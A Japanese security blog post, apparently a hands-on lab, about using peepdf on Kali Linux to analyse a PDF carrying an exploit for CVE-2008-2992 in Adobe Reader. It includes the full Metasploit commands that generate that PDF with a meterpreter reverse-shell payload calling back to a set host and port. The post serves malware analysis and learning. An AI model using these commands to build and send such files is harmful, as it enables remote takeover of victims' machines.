かわろぐ

技術、ボルダリング、セキュリティ、その他もろもろ

MENU

peepdf を使って攻撃コードの入ったPDFを解析してみた

環境

  • kali linux 2
  • peepdf 0.3

peepdf って?

python で作られている PDF 解析ツールです。解析するだけでなく、もし、脆弱性を突くようなコードが埋め込まれていた場合はその脆弱性情報も合わせて表示してくれます。

Cuckoo や Thung などでも使用されているみたいですね。

peepdf のセットアップ

kali linux なら、peepdf は OS をインストールした状態で使えるようになっているので、 kali linux を使いましょう。

解析対象の PDF を作成する

metasploit を用いて、脆弱性を突くコードの入ったPDFファイルを作成します。 metasploit も kali linux ならば OS をインストールした状態で使えるようになっています。

今回使用する脆弱性は CVE-2008-2992 という Adobe Reader の Util.PRINTF() に存在するバッファオーバーフローの脆弱性を利用するJSコードです。古い脆弱性ですが、外部に送信しないように注意して扱いましょう。

metasploit のコンソールに以下のように1行ずつ打ち込んでいきます。

msf> use exploit/windows/fileformat/adobe_utilprintf
msf> set FILENAME malicious.pdf
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.1.11
msf> set LPORT 4455
msf> exploit

export を実行すると/root/.msf4/local/malicious.pdfというパスにファイルが生成されるので、扱いやすいように Desktop に移動します。

作成した PDF を解析してみる

$ peepdf ~/Desktop/malicious.pdf

を実行すると解析結果をコンソールに出力してくれます。

f:id:kawa_xxx:20160919165223p:plain

バッチリ CVE-2008-2992 の攻撃コードがあることが検出されていますね。もう少しこのコードがどのようなものか深ぼって見ましょう。

$peepdf -i ~/Desktop/malicious.pdf

今度は -i インタラクティブオプションをつけて実行します。先ずは、該当部分の JS コードをプレーンな状態で見てみましょう。

PPDF> js_code 6

を実行するとバーっとコードを出力してくれます。画面上部が切れていますが、以下の感じですね。

f:id:kawa_xxx:20160919165226p:plain

最後の行に今回ターゲットにした関数 util.printf() が使われているのがわかります。更に JavaScript の解析も出来るようなので以下のコマンドでやってみました。

PPDF> js_analyse object 5

pyV8 が入っていないので、 解析時にエラー…

このあたりを参考にして pyV8 と V8 を入れてみようと試みましたが、うまく行かず… Github の方のコードを取ってきてもだめ。もちろん pip install pyV8 でもだめ。

どうしたらいいんだ… 続きはまた今度。

参考文献

サイバーセキュリティテスト完全ガイド ~Kali Linuxによるペネトレーションテスト~

サイバーセキュリティテスト完全ガイド ~Kali Linuxによるペネトレーションテスト~

  • 作者: Peter Kim,八木橋優,前田優人,美濃圭佑,保要隆明,株式会社クイープ
  • 出版社/メーカー: マイナビ出版
  • 発売日: 2016/08/01
  • メディア: 単行本(ソフトカバー)
  • この商品を含むブログを見る